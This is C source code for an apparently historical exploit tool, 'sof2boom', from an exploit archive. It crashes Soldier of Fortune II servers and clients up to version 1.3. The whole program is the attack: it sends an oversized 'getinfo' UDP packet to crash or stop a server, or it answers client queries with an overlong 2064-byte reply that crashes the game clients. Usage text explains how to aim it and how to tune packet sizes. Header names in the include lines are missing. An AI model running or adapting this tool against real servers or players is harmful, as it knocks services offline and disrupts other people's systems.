/* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ 4096 #define PORT 20100 #define TIMEOUT 3 #define CHR 'a' #define CLBOOMSIZE 2064 #define INFO "\xff\xff\xff\xff" "getstatus xxx\n" #define SVBOF "\xff\xff\xff\xff" "getinfo " #define CLBOF "\xff\xff\xff\xff" \ "%sResponse\n" \ "\\sv_allowDownload\\0" \ "\\sv_allowAnonymous\\0" \ "\\punkbuster\\1" \ "\\needpass\\0" \ "\\pure\\0" \ "\\gametype\\elim" \ "\\sv_maxclients\\32" \ "\\clients\\16" \ "\\hostname\\noname" \ "\\protocol\\2004" \ "\\mapname\\mp_jor1" \ "\\" void show_info(u_char *data); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { int sd, len, psz, on = 1, type, svboom = 0; u_short port = PORT; u_char buff[BUFFSZ + 1]; struct sockaddr_in peer; setbuf(stdout, NULL); fputs("\n" "Soldier of Fortune II <= 1.3 server and client crash/stop "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\nUsage: %s [port(%d)]\n" "\n" "Attack:\n" " c = broadcast clients crash (caused by a valid reply of %d bytes)\n" " s = server shutdown/crash, the effect depends by the amount of data you send.\n" " The amount of data and the IP or hostname of the server must be specified\n" " after the 's' in this format: sof2boom s SIZE SERVER [PORT]\n" " Usually the values >= 1014 crash the server (only if Windows), while a\n" " lower values (like 1000) stop the match, try yourself\n" "\n" "Usage examples:\n" " sof2boom c listens on port %d for clients\n" " sof2boom c 1234 listens on port 1234\n" " sof2boom s 1000 192.168.0.1 tests the server 192.168.0.1 on port %d\n" " sof2boom s 1200 sof2server 1234 tests the server sof2server on port 1234\n" "\n", argv[0], port, CLBOOMSIZE, port, port); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif type = argv[1][0]; if(type == 's') { if(argc < 4) { fputs("\n" "Error: you must specify the number of bytes to send and the server hostname.\n" " Example: sof2boom s 1000 localhost\n" "\n", stdout); exit(1); } svboom = atoi(argv[2]); if(svboom > (BUFFSZ - sizeof(SVBOF))) { printf("\nError: use a value minor than %d\n\n", BUFFSZ - sizeof(SVBOF)); exit(1); } peer.sin_addr.s_addr = resolv(argv[3]); if(argc > 4) port = atoi(argv[4]); printf("- target %s:%hu\n", inet_ntoa(peer.sin_addr), port); } else if(type == 'c') { peer.sin_addr.s_addr = INADDR_ANY; psz = sizeof(peer); if(argc > 2) port = atoi(argv[2]); printf("- listen on port %d\n", port); } else { fputs("\n" "Error: Wrong type of chosen attack.\n" " You can choose between 2 types of attacks, passive versus clients with\n" " 'c' or versus servers with 's'\n" "\n", stdout); exit(1); } peer.sin_port = htons(port); peer.sin_family = AF_INET; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(type == 's') { fputs("- request informationss\n", stdout); if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("\n" "Error: socket timeout, probably the server is not online or the port is wrong\n" "\n", stdout); exit(1); } len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); buff[len] = 0x00; show_info(buff); memcpy(buff, SVBOF, sizeof(SVBOF) - 1); memset(buff + sizeof(SVBOF) - 1, CHR, svboom); len = sizeof(SVBOF) - 1 + svboom; printf("- send BOOM packet (%d bytes)\n", len); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("- no reply received, it is probably crashed\n", stdout); } else { fputs("- received a reply, probably it is not vulnerable\n", stdout); len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); } fputs("- check server\n", stdout); if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); if(len < 0) std_err(); buff[len] = 0x00; printf("\n" "Server doesn't seem to be vulnerable, the following is the reply received:\n" "\n" "%s\n" "\n", buff); } } else { if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs(" Clients:\n", stdout); for(;;) { len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); if(len < 0) std_err(); buff[len] = 0x00; printf("%16s:%hu -> %s\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port), buff); if(!memcmp(buff + 4, "getinfo", 7)) { len = sprintf(buff, CLBOF, "info"); } else { len = sprintf(buff, CLBOF, "status"); } memset(buff + len, CHR, CLBOOMSIZE - len); if(sendto(sd, buff, CLBOOMSIZE, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); } } close(sd); return(0); } void show_info(u_char *data) { int nt = 1; u_char *p; while((p = strchr(data, '\\'))) { *p = 0x00; if(!nt) { printf("%30s: ", data); nt++; } else { printf("%s\n", data); nt = 0; } data = p + 1; } printf("%s\n", data); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-11-23]